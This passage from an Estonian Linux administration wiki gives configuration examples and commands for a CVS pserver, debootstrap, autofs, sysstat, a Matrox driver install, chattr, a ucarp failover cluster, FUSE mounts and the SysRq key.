&lt;br /&gt;
  /srv/cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara juhivad serveri poolel sellised seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* CVS p-serveri seadistusfailis /etc/cvs-pserver.conf sisalduvad muu seas repositooriumide asukohad failisüsteemis ning kasutate paroolifail&lt;br /&gt;
&lt;br /&gt;
  CVS_PSERV_REPOS=&amp;quot;/data/cvs-loomaaed:/data/cvs-propaganda&amp;quot;&lt;br /&gt;
  CVS_PSERV_LIMIT_MEM=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_DATA=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_CORE=0&lt;br /&gt;
  CVS_PSERV_LIMIT_CPU=hard&lt;br /&gt;
  CVS_EXT_PASSWD_FILE=/etc/cvs-passwd&lt;br /&gt;
&lt;br /&gt;
* inetd või xinetd kasutamisel vastavalt seadistusfailis /etc/inetd.conf peab sisalduma rida&lt;br /&gt;
&lt;br /&gt;
  cvspserver      stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/cvs-pserver&lt;br /&gt;
&lt;br /&gt;
või fail /etc/xinetd.d/cvs sisuga&lt;br /&gt;
&lt;br /&gt;
  service cvspserver&lt;br /&gt;
  {&lt;br /&gt;
        disable         = no&lt;br /&gt;
        socket_type     = stream&lt;br /&gt;
        protocol        = tcp&lt;br /&gt;
        wait            = no&lt;br /&gt;
        user            = root&lt;br /&gt;
        server          = /usr/sbin/cvs-pserver&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* repostitooriumide failide omanikud ja efektiivsed kasutajad failis on kirjeldatud /etc/cvs-repouids&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed:cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda:cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
Repositooriumide initsialiseerimiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cvs -d /srv/cvs-loomaaed init&lt;br /&gt;
  # su - cvs-propaganda&lt;br /&gt;
  $ cvs -d /srv/cvs-propaganda init&lt;br /&gt;
&lt;br /&gt;
Paroolifaili /etc/cvs-passwd formaat on selline&lt;br /&gt;
&lt;br /&gt;
  /data/cvs-loomaaed&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
  /data/cvs-propaganda&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
&lt;br /&gt;
Projektid tuleb alguses hoidlasse importida vastavate kasutajatega&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cd /data/tmp/portaal-arendus&lt;br /&gt;
  cvs-loomaaed$ cvs -d /data/cvs-loomaaed import -m &amp;quot;Loomaaia portaali arendus algab&amp;quot; portaal-arendus vt rt&lt;br /&gt;
  # su - cvs-propaganada&lt;br /&gt;
  $ cd /data/tmp/portaal-propaganda&lt;br /&gt;
  cvs-propaganda$ cvs -d /data/cvs-propaganda import -m &amp;quot;Loomaaia propaganda algab&amp;quot; propaganada vt rt&lt;br /&gt;
&lt;br /&gt;
====Moodulite kirjeldamine====&lt;br /&gt;
&lt;br /&gt;
CVS all olevast projektist saab kopeerida ka üksikuid katalooge öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cvs co projektinimi/katalooginimi&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Linuxi CVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
  $ export CVSROOT=:pserver:kasutajanimi@cvs.loomaaed.tartu.ee:/data/cvs-loomaaed&lt;br /&gt;
  $ cvs login&lt;br /&gt;
  $ cvs co portaal-arendus&lt;br /&gt;
  $ cvs logout&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Windowsi TortoiseCVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Tortoisecvs-1.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Riistvara omadustega tegelevad utiliidid===&lt;br /&gt;
&lt;br /&gt;
* lshw - esitab suhteliselt põhjaliku väljundi arvutisüsteemi riistvaralistest komponentidest, nt sellise&lt;br /&gt;
&lt;br /&gt;
  # apt-get install lshw&lt;br /&gt;
&lt;br /&gt;
* ethtool&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ethtool&lt;br /&gt;
&lt;br /&gt;
===Debootstrap programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
debootstrap programmiga saab näidatud kataloogi moodustada operatsioonisteemi juurfailisüsteemi&lt;br /&gt;
&lt;br /&gt;
  # debootstrap lenny /srv/lenny-chroot http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Nt sobib seda kasutada töötava operatsioonisüsteemi sees olles multiboot arvuti moodustamiseks. Sel juhul tuleb Debian Lenny puhul lisaks tähele panna selliseid asjaolusid peale seda kui debootstrap on töö lõpetanud&lt;br /&gt;
&lt;br /&gt;
* moodustada /etc/fstab sisu&lt;br /&gt;
* seadistada /etc/network/interfaces ja /etc/hosts&lt;br /&gt;
* kopeerida /lib/modules alla tuuma moodulid&lt;br /&gt;
* paigaldada udev, lvm2, vlan, firmware-bnx2, bridge-utils ja openssh-server tarkvara (ja muu oluline)&lt;br /&gt;
* kirjutada /etc/shadow faili juurkasutajale parool (konsoolilt saab küll login: root järel enterit öeldes sisse ka ilma paroolita)&lt;br /&gt;
* kopeerida tuum ja iniramfs /boot kataloogi&lt;br /&gt;
* paigaldada alglaadur (nt grub-install abil)&lt;br /&gt;
* seadistada ajavöönd, /etc/localtime link&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud keskkonda chrootida, siis üldiselt peaks olema eelnevalt ühendatud külge sellised failisüsteemid, eeldusel, et keskkond asub kataloogis /target&lt;br /&gt;
&lt;br /&gt;
 /dev/sda1 on /target/boot type ext3 (rw,noatime,errors=continue,data=ordered)&lt;br /&gt;
 proc on /target/proc type proc (rw)&lt;br /&gt;
 sysfs on /target/sys type sysfs (rw)&lt;br /&gt;
 udev on /target/dev type tmpfs (rw,size=10240k,mode=755)&lt;br /&gt;
 devpts on /target/dev/pts type devpts (rw,mode=600)&lt;br /&gt;
&lt;br /&gt;
öeldes&lt;br /&gt;
&lt;br /&gt;
 # mount -t proc /proc /srv/lenny-32/proc&lt;br /&gt;
 # mount -t devpts devpts /srv/lenny-32/dev/pts&lt;br /&gt;
&lt;br /&gt;
debootstrap abil saab tekitada ka teisele arhitektuurile vastav failisüsteem, nt öeldes amd64 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # debootstrap --arch=i386 lenny /srv/lenny-32 http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal soovitatakse kasutada tarkvara multistrap.&lt;br /&gt;
&lt;br /&gt;
===Autofs===&lt;br /&gt;
&lt;br /&gt;
Selleks, et failisüsteem monteeritaks külge automaatselt vastava ühenduspunkti poole pöördumisel, sobib kasutada tarkvara autofs. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install autofs&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamiseks tuleb näidata seadistusfailis /etc/auto.master nn map failide asukohad, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.master&lt;br /&gt;
  /var/autofs     /etc/auto.misc --timeout=60&lt;br /&gt;
&lt;br /&gt;
kusjuures map failis /etc/auto.misc on kirjeldatud konkreetsed ressursid, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.misc   &lt;br /&gt;
  cd             -fstype=iso9660,ro,nosuid,nodev :/dev/cdrom&lt;br /&gt;
  removable      -fstype=ext3,ro            :/dev/mapper/mpath3&lt;br /&gt;
&lt;br /&gt;
Kui nüüd öelda muidu tühjas kataloogis /var/autofs 'ls -l', siis ühendatakse failisüsteem külge ning seejärel täidetakse ls käsk, nt&lt;br /&gt;
&lt;br /&gt;
  # cd /var/autofs/removable&lt;br /&gt;
  drwx------ 2 root root 16384 Apr 11 14:13 lost+found&lt;br /&gt;
&lt;br /&gt;
Ühendatud failisüsteemide parameetreid näeb nii&lt;br /&gt;
&lt;br /&gt;
  # mount | grep autofs&lt;br /&gt;
  automount(pid7544) on /var/autofs type autofs (rw,fd=4,pgrp=7544,minproto=2,maxproto=4)&lt;br /&gt;
  /dev/mapper/mpath3 on /var/autofs/removable type ext3 (ro)&lt;br /&gt;
&lt;br /&gt;
Autofs olekut näeb öeldes&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/autofs status&lt;br /&gt;
  Configured Mount Points:&lt;br /&gt;
  ------------------------&lt;br /&gt;
  /usr/sbin/automount --timeout=300 /home file /etc/auto.home &lt;br /&gt;
  &lt;br /&gt;
  Active Mount Points:&lt;br /&gt;
  --------------------&lt;br /&gt;
  /usr/sbin/automount --pid-file=/var/run/autofs/_home.pid --timeout=300 /home file /etc/auto.home&lt;br /&gt;
&lt;br /&gt;
====NFS ressursi ühendamine====&lt;br /&gt;
&lt;br /&gt;
Nt kasutajate kodukataloogide üle NFS ühendamiseks tuleb kirjeldada nt selline /etc/auto.home fail&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.home &lt;br /&gt;
  kernel    -ro,soft,intr       192.168.10.249:/data/export&lt;br /&gt;
&lt;br /&gt;
===Süsteemi ressursikasutuse jälgimine===&lt;br /&gt;
&lt;br /&gt;
Pakett sysstat http://pagesperso-orange.fr/sebastien.godard/ sisaldab süsteemi ressurssikasutuse jälgimiseks vajalikke vahendeid, nii reaalajas kui taustal andmete kogumiseks&lt;br /&gt;
&lt;br /&gt;
* reaalajas - iostat, pidstat, mpstat&lt;br /&gt;
* taustal - sa1, sa2, sar&lt;br /&gt;
&lt;br /&gt;
Tarkvara käivitamist ja töötamist juhivad seadistusfailid&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.d/sysstat&lt;br /&gt;
  /etc/cron.daily/sysstat&lt;br /&gt;
  /etc/default/sysstat&lt;br /&gt;
&lt;br /&gt;
Taustal töötava sysstat töö tulemusena kogutakse andmed ja salvestatakse binaarses formaadis kataloogi /var/log/sysstat. Kogutud andmeid saab esitada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # sar -A -f /var/log/sysstat/sa22  | less&lt;br /&gt;
&lt;br /&gt;
Eraldi mainimist vajab programm pidstat, mille abil saab jälgida üksiku protsessiga seotud ressursikasutust, nt plokkseadme IO'd&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p 15585 2&lt;br /&gt;
  Linux 2.6.26-1-xen-amd64 (moraal.auul)  04/22/09        _x86_64_&lt;br /&gt;
  &lt;br /&gt;
  20:13:28          PID   kB_rd/s   kB_wr/s kB_ccwr/s  Command&lt;br /&gt;
  20:13:30        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:32        15585      0.00    238.00      0.00  wget&lt;br /&gt;
  20:13:34        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:36        15585      0.00    238.00      0.00  wget&lt;br /&gt;
&lt;br /&gt;
Kõigi kasutaja postgres protsesside io'd saab uurida nt selliselt&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p ALL 2 | grep postgres&lt;br /&gt;
&lt;br /&gt;
===Matrox P690 videokaardi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Matrox http://www.matrox.com/ valmistab suhteliselt eeskujulikke videokaarte. P690 mudeli kasutamiseks sobib kasutada aadressil http://www.matrox.com/graphics/en/products/graphics_cards/p_series/p690pci/ kopeeritud draiverit. Lisaks asub nö community-forum aadressil http://forum.tuxx-home.at/ ning sealsed entusiastid avaldavad oma parandustega draivereid.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
  # CC=/usr/bin/gcc-4.1 sh mtxdriver-installer-x86_32-cvs-20090511.run&lt;br /&gt;
  ..&lt;br /&gt;
  Please, enter the directory to extract the files [/root/] /usr/src/mtx&lt;br /&gt;
  Creating directory /usr/src/mtx/matroxdriver-x86_32-cvs-20090511&lt;br /&gt;
  Verifying archive integrity... All good.&lt;br /&gt;
  Uncompressing Matrox Parhelia Driver.&lt;br /&gt;
  ..&lt;br /&gt;
  ========================================&lt;br /&gt;
   Matrox Linux Driver Install Script   &lt;br /&gt;
  ========================================&lt;br /&gt;
  &lt;br /&gt;
  Installation package v1.4.7&lt;br /&gt;
  &lt;br /&gt;
  Refreshing ld database&lt;br /&gt;
  Installing mtx_drv.so ...&lt;br /&gt;
  Installing v4l_drv.so ...&lt;br /&gt;
  Messages are being logged in file /tmp/make.log,&lt;br /&gt;
  this might take some time.&lt;br /&gt;
  &lt;br /&gt;
  Compiling mtx.ko ... done&lt;br /&gt;
  &lt;br /&gt;
  Installing mtx.ko ...&lt;br /&gt;
  Backing up libGL&lt;br /&gt;
  Installing 32bits OpenGL library file to /usr/lib&lt;br /&gt;
  Installing libGL.so.1.3.0 ...&lt;br /&gt;
  Installing the GLX library file to /usr/lib/xorg/modules/extensions&lt;br /&gt;
 &lt;br /&gt;
  Installing libglx.so ...&lt;br /&gt;
  Installing the gl.h header file to /usr/include/GL &lt;br /&gt;
 &lt;br /&gt;
  Installing gl.h ...&lt;br /&gt;
  Installing the glext.h header file to /usr/include/GL &lt;br /&gt;
  &lt;br /&gt;
  Installing glext.h ...&lt;br /&gt;
  Installing the glx.h header file to /usr/include/GL&lt;br /&gt;
 &lt;br /&gt;
  Installing glx.h ...&lt;br /&gt;
  Updating library cache&lt;br /&gt;
 &lt;br /&gt;
  Installing documentation&lt;br /&gt;
  &lt;br /&gt;
  cp: cannot stat `v4l': No such file or directory&lt;br /&gt;
  Installing powerdesk&lt;br /&gt;
  &lt;br /&gt;
  Installing mtxcards ...&lt;br /&gt;
  Installing mtxwizard ...&lt;br /&gt;
  Installing matroxconfig ...&lt;br /&gt;
  Installing libmtxcfg.so ...&lt;br /&gt;
 &lt;br /&gt;
  Do you wish to let the installer setup your X config file  (y/n)? y &lt;br /&gt;
  &lt;br /&gt;
  Trying to configure your X config file (/etc/X11/xorg.conf)&lt;br /&gt;
  &lt;br /&gt;
  Installation finished&lt;br /&gt;
&lt;br /&gt;
Tulemusena on &lt;br /&gt;
&lt;br /&gt;
* moodustatud nö vaikimisi /etc/X11/xorg.conf seadistusfail&lt;br /&gt;
* seadistusutiliit /usr/bin/matroxconfig&lt;br /&gt;
* kataloogi /usr/share/matrox on paigutatud teeke ja tekste&lt;br /&gt;
* kompileeritud ja paigaldatud tuuma moodul mtx.ko, mis on link /usr/share/matrox kataloogi failile &lt;br /&gt;
&lt;br /&gt;
  # find /lib/modules/2.6.26-2-686 -name mtx.ko -ls&lt;br /&gt;
  721274    0 lrwxrwxrwx   1 root     root           32 Aug  8 17:44 \&lt;br /&gt;
    /lib/modules/2.6.26-2-686/kernel/drivers/video/mtx.ko -&amp;gt; /usr/share/matrox/current/mtx.ko&lt;br /&gt;
&lt;br /&gt;
Süsteemi on lisatud/asendatud sellised failid&lt;br /&gt;
&lt;br /&gt;
  /usr/bin&lt;br /&gt;
  /usr/bin/mtxwizard&lt;br /&gt;
  /usr/bin/matroxconfig&lt;br /&gt;
  /usr/share&lt;br /&gt;
  /usr/share/mtxwizard&lt;br /&gt;
  /usr/share/mtxwizard/mtxcards&lt;br /&gt;
  /usr/share/matrox&lt;br /&gt;
  /usr/share/matrox/samples&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Hybrid&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Merge&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_1&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.dual&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_2&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.single&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple_merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Xinerama&lt;br /&gt;
  /usr/share/matrox/current&lt;br /&gt;
  /usr/share/matrox/current/gl.h&lt;br /&gt;
  /usr/share/matrox/current/libmtxcfg.so&lt;br /&gt;
  /usr/share/matrox/current/mtxcards&lt;br /&gt;
  /usr/share/matrox/current/mtx_drv.so&lt;br /&gt;
  /usr/share/matrox/current/glx.h&lt;br /&gt;
  /usr/share/matrox/current/glext.h&lt;br /&gt;
  /usr/share/matrox/current/mtx.ko&lt;br /&gt;
  /usr/share/matrox/current/v4l_drv.so&lt;br /&gt;
  /usr/share/matrox/current/mtxwizard&lt;br /&gt;
  /usr/share/matrox/current/libGL.so.1.3.0&lt;br /&gt;
  /usr/share/matrox/current/matroxconfig&lt;br /&gt;
  /usr/share/matrox/current/libglx.so&lt;br /&gt;
  /usr/share/matrox/backup&lt;br /&gt;
  /usr/share/matrox/docs&lt;br /&gt;
  /usr/share/matrox/docs/readme.txt&lt;br /&gt;
  /usr/share/matrox/docs/readme-advanced.txt&lt;br /&gt;
  /usr/lib&lt;br /&gt;
  /usr/lib/libGL.so.1.3.0&lt;br /&gt;
  /usr/lib/libGL.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libmtxcfg.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libglx.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/mtx_drv.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/v4l_drv.so&lt;br /&gt;
  /usr/lib/libGL.so.1&lt;br /&gt;
  /usr/src/mtx&lt;br /&gt;
  /usr/src/mtx/log&lt;br /&gt;
  /usr/include/GL&lt;br /&gt;
  /usr/include/GL/gl.h&lt;br /&gt;
  /usr/include/GL/glx.h&lt;br /&gt;
  /usr/include/GL/glext.h&lt;br /&gt;
&lt;br /&gt;
Tuuma laadimisel öeldakse&lt;br /&gt;
&lt;br /&gt;
  # modprobe mtx&lt;br /&gt;
  mtx: module license 'Copyright (c) 2002, 2004, Matrox Graphics Inc.' taints kernel.&lt;br /&gt;
  [mtx] MTX driver v1.4.7&lt;br /&gt;
  [mtx] Allocated a MTX agp driver structure&lt;br /&gt;
  ACPI: PCI Interrupt 0000:03:00.0[A] -&amp;gt; GSI 21 (level, low) -&amp;gt; IRQ 21&lt;br /&gt;
  [mtx] 0x2539(sub:0xffffffff) board found at 03:00.0&lt;br /&gt;
&lt;br /&gt;
====Seadistamine====&lt;br /&gt;
&lt;br /&gt;
Komplekt sisaldab ka graafilist haldusutiliiti matroxconfig, mille abil saab genereerida sobiva X serveri seadistusfaili /etc/X11/xorg.conf, nt sellise [[Pilt:Xorg.conf.patch]]&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Matroxconfig-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Käivitamisel öeldakse dmesg'i&lt;br /&gt;
&lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass &lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass&lt;br /&gt;
&lt;br /&gt;
X log võiks olla nt selline http://kuutorvaja.eenet.ee/mw-1.9.3/images/e/e1/Xorg.mtx-p690.patch&lt;br /&gt;
&lt;br /&gt;
Kui töökohaarvuti vahetada säilitades videokaardi ja monitorid, siis tõenäoliselt piisab xorg.conf failis asendada seadme sektsioonides PCI BusID väärtus sobivaga&lt;br /&gt;
&lt;br /&gt;
  Section &amp;quot;Device&amp;quot;&lt;br /&gt;
          # generated by mtx wizard&lt;br /&gt;
          Identifier  &amp;quot;mtxwizard_device_1&amp;quot;&lt;br /&gt;
          Driver      &amp;quot;mtx&amp;quot;&lt;br /&gt;
          BusID       &amp;quot;PCI:3:0:0&amp;quot;&lt;br /&gt;
          Screen      1&lt;br /&gt;
  EndSection&lt;br /&gt;
&lt;br /&gt;
kusjuures õige saab teha kindlaks lspci utiliidiga&lt;br /&gt;
&lt;br /&gt;
  # lspci | grep Matrox&lt;br /&gt;
  03:00.0 VGA compatible controller: Matrox Graphics, Inc. Millennium P690 (rev 01)&lt;br /&gt;
&lt;br /&gt;
===lsattr ja chattr programmide kasutamine===&lt;br /&gt;
&lt;br /&gt;
chattr programmi abil saab ext2 ja ext3 failisüsteemis seadistada failidele täiendavad omadusi. Näiteks, märkida faili immutable'ks&lt;br /&gt;
&lt;br /&gt;
 # chattr +i failinimi&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa seda faili ka kustutada juurkasutaja&lt;br /&gt;
&lt;br /&gt;
 # rm failinimi&lt;br /&gt;
 rm: cannot remove `failinimi': Operation not permitted&lt;br /&gt;
&lt;br /&gt;
Atribuutide väärtusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # lsattr failinimi&lt;br /&gt;
 ----i-------------- failinimi&lt;br /&gt;
&lt;br /&gt;
immutable biti saab eemaldada öeldes&lt;br /&gt;
&lt;br /&gt;
 # chattr -i failinimi&lt;br /&gt;
&lt;br /&gt;
===ucarp kasutamine===&lt;br /&gt;
&lt;br /&gt;
ucarp http://www.ucarp.org/project/ucarp tarkvara abil on võimalik korraldada kahe või enama arvuti nn aktiivset/passiiveset klustrit kasutades CARP protokolli. Klustri igal arvutil on oma individuaalne ip aadress ning lisaks on määratud üks teenuse virtuaalne ip aadress. Sõltuvalt sellest, kuidas parasjagu on klustri osalesid masteri osas kokku leppinud pakub master teenust, teised on nö kõrval-seisvas (ingl. k. standby) asendis.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ucarp&lt;br /&gt;
&lt;br /&gt;
Ning seadistamiseks tuleb nt kahe komponendilise klustri ühe arvuti võrguliideste seadistusfailis /etc/network/interfaces kasutada&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.51&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 0&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
ning teise arvuti puhul&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.52&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 10&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kokkulepitud masteris lisaks tavalistele vürguseadetele seade eth0:ucarp&lt;br /&gt;
&lt;br /&gt;
  eth0:ucarp Link encap:Ethernet  HWaddr 70:01:68:01:00:51  &lt;br /&gt;
          inet addr:192.168.10.48  Bcast:192.168.10.255  Mask:255.255.255.255&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
&lt;br /&gt;
ucarp on võrreldes keepalived või heartbeat tarkvaraga tagasihoidlikemate omadustega, kuid mõnel juhul võib just see ollagi eeliseks.&lt;br /&gt;
&lt;br /&gt;
===FUSE===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt toimub failisüsteemidega tegelemine, nt külgeühendamine, privilegeeritud kasujana ning nn kernel-space'is, siis FUSE (Filesystem in Userspace) http://fuse.sourceforge.net/ tehnika võimaldab seda teha tavakasutajana user-space'is. Linuxi tuum sisaldab FUSE tuge ning paketihalduses on rohkesti FUSE funktsionaalsust kasutavat tarkvara. Üldkasutatavad FUSE utiliidid on paketis fuse-utils.&lt;br /&gt;
&lt;br /&gt;
====curlftpfs====&lt;br /&gt;
&lt;br /&gt;
curlftpfs abil saab nö külge monteerida ftp serverist ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install curlftpfs&lt;br /&gt;
&lt;br /&gt;
Kasutmise peab kasutaja kuuluma gruppi fuse, ressursi külgeühendamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ curlftpfs ftp://ftp.ee.debian.ee /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
ja lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub nii nagu tavalise kohaliku failisüsteemi kasutamine.&lt;br /&gt;
&lt;br /&gt;
====SSHFS====&lt;br /&gt;
&lt;br /&gt;
sshfs abil saab nö külge monteerida serverist, kuhu on ssh ligipääs, ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sshfs&lt;br /&gt;
&lt;br /&gt;
Kasutamise peab kuuluma gruppi fuse, külgeühendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  $ sshfs mart@loomaaed.tartu.ee:/katalooginimi-ssh-serveris /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
Lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
===SysRq===&lt;br /&gt;
&lt;br /&gt;
Kui Linuxi tuum hangub, siis enamikul juhtudel on ta võimeline aru saama talle nö otse saadetud signaalidest. Lenny paketihalduse tuumaga saab vaikimisi SysRq'd kasutada, väljalülitamiseks tuleb parameetrile kernel.sysrq omistada väärtus null&lt;br /&gt;
&lt;br /&gt;
  # sysctl -w kernel.sysrq=0&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Magic_SysRq_key&lt;br /&gt;
&lt;br /&gt;
====Füüsiliselt konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Füüsiliselt konsoolilt saab sisestada erinevaid kombinatsioone (kui SysRq klahv pole tähistatud, siis tavaliselt toimib sellena PrintScreen)&lt;br /&gt;
&lt;br /&gt;
# failisüsteemide sünkroniseerimine - Alt-SysRq-s&lt;br /&gt;
# failisüsteemide read-only remountimine - Alt-SysRq-u&lt;br /&gt;
# arvuti reboot - Alt-SysRq-b&lt;br /&gt;
&lt;br /&gt;
Iga tegevuse kohta antakse terminalile ka vastav teade.&lt;br /&gt;
&lt;br /&gt;
====Käsurealt====&lt;br /&gt;
&lt;br /&gt;
Kui aga arvutis ollakse eemal ning mingil põhjusel on siiski võimalik talle käske anda, kuigi ta käitub piisavalt juhtimatult, et selleks ettenähtud vahenditega rebooti teha, nt 'shutdown -r now', siis saab samasid tegevusi esile kutsuda selliselt&lt;br /&gt;
&lt;br /&gt;
 bash# echo s &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo b &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
Ammendav loetelu võimalikest sisenditest on kirjas tuuma lähtetekstide kataloogis vist failis Documentation/kernel-parameters.txt.&lt;br /&gt;
&lt;br /&gt;
====Xen konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Xeni konsoolilt saab saata SysRq signaale valides&lt;br /&gt;
&lt;br /&gt;
  Ctrl+O ja täht&lt;br /&gt;
&lt;br /&gt;
h väljastab nimekirja toetatud signaalidest&lt;br /&gt;
&lt;br /&gt;
  SysRq : HELP : loglevel0-8 reBoot tErm Full kIll saK aLlcpus\&lt;br /&gt;
    showMem Nice powerOff showPc show-all-timers(Q) unRaw Sync showTasks \&lt;br /&gt;
